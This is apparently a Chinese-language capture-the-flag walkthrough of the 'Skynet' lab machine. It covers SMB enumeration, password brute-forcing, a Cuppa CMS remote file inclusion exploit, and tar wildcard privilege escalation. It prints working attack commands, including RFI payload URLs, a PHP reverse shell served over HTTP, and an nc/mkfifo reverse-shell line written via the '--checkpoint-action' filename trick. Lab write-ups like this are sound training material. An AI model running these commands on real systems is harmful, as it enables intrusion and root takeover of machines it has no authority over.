Skynet
这个靶场主要是 samba 枚举,目录爆破,以及密码爆破,发现 CMS 存在远程文件包含漏洞,最后通过通配符实现的权限提升
首先使用 nmap 对于目标进行扫描,看看都开了什么端口
然后又想着使用这个命令来扫描端口服务版本,以及目标使用的操作系统
sudo nmap -sV -O -v 10.10.195.206
在这里看到 445 端口的 samba 服务,那我们就可以 nmap 来枚举 SMB 共享的计算机
这里发现了 4 个共享,同时也可以使用 smbmap
这个工具来枚举 smb 共享,我们发现只有 anonymous 是可以匿名进行访问的,那么我们可以继续使用 smbmap
来枚举 anonymous 下的文件
然后我们可以看到 anonymous 共享下存在一个 attention 的 txt 文件以及几个 log 文件,那么我们可以将它们下载下来看看有没有啥有用处的信息
使用 smbclient //10.10.195.206/anonymous
来连接,help
可以查看能够使用什么命令,使用 get
命令对于文件进行下载
下载之后发现这四个文件,log2 和 log3 是空文件,log1 中像是一堆密码,attention 是一个提示消息,不过我们至少拿到可以一个类似字典的文件
然后我们重新关注 80 端口
使用 dirsearch
或者 gobuster
目录爆破工具看看目标网页下都有哪些路由
这里使用了 dirsearch 进行扫描,发现了 js,css,admin,server-status,但是访问都会提示没有权限,只有 squirrelmail 页面会跳转到一个登录页面,那么我们就可以使用之前拿到的密码进行爆破了
我们先使用 burpsuite 抓一个登录的数据包
用户名自然就是之前 smb 枚举时找到的 milesdyson 作为用户名
这里可以看到直接就爆破出密码了,同时也拿到了第一问的答案
然后我们登录之后发现了三个邮件,第一个中存在内容,里面是 milesdyson 用户的 smb 密码
那么此时我们就可以使用登录到 milesdyson 的共享目录下查看文件了
这里使用 smbclient //10.10.195.206/milesdyson -U milesdyson
指定是用户 milesdyson 来登录,然后输出密码,我们发现里面是一些 pdf 文件,以及在 notes 目录中找到一个 important.txt
文本文件,我们 get 下来看看内容
可以看到里面是一个备忘录,第一条就提到了自己新添加了一个目录
访问之后发现就是一个静态页面也没什么有用处的信息,所以我们继续使用 dirsearch
对于目录进行爆破,
找到一个 administrator 的登录页面
然后题目提示说一个包含远程文件的漏洞,remote file inclusion
,就去 exploit-db
网站搜索了 cuppa,看看有没有什么漏洞信息,找到一个正好就是远程文件包含漏洞的利用
Cuppa CMS - ‘/alertConfigField.php’ Local/Remote File Inclusion
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
然后就是利用 php 反弹 shell,我们可以去 /user/share/webshells/php/php-reverse-shell.php
复制一份,然后把里面的端口和 IP 改一下,之后在当前目录使用 python -m http.server 8989
开启一个文件服务器
然后在本地用你在 php-reverse-shell.php
中写的端口,去监听,使用 nc -lnvp [port]
再到 cms 的登录页面,直接在那个目录后面加上 /cuppa/alerts/alertConfigField.php?urlConfig=http://[IP]:8989/php-reverse-shell.php
,就可以拿到 shell 了
这样就可以拿到用户的 Flag 了,可以使用 python -c 'import pty; pty.spawn("/bin/bash")'
这个命令来加强反弹 shell 的交互性
最后就是权限提升
先使用 PEASS-ng 这个权限提升的辅助工具,这次因为目标是 linux 系统,所以我们使用 linpeas.sh
https://github.com/peass-ng/PEASS-ng/releases/tag/20250424-d80957fb
使用 python -m http.server [PORT]
开启一个文件服务器,来方便目标机器下载这个文件,然后 chomd +x linpeas.sh
来给这个文件添加执行权限,可以下载到 /tmp
这个目录去
然后 ./linpeas.sh
运行,就会输出很多系统的信息
可以看到在定时任务中有这样一个在 milesdyson 目录下的文件,是 root 权限
我们直接 cat 一下这个文件看看是干什么
发现是移动到/var/www/html 目录下对于所有的文件进行压缩,这里我们将会利用通配符进行权限提升,具体的原理可以看这篇文章
简单来说就是一个目录存在很多文件,但是命令又会存在参数,如果文件名字和参数是一样的那么命令就会把文件当作参数来运行
单开一个端口来进行监听
nc -lnvp 8888
注意这里的命令在 /var/www/html
中执行,因为定时任务中的 tar 指令也是在这个目录执行的,这样写文件才可以利用成功
#第一行的IP和端口号自己修改
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
#这个就是文件名是--checkpoint-action=exec=sh shell.sh,
#但是放到命令中就是参数checkpoint-action=exec=sh了,而不是把它单纯看成文件了
echo "" > --checkpoint=1
最后拿到 shell 就是管理员权限的了,到 /root 目录下就可以找到根 Flag 了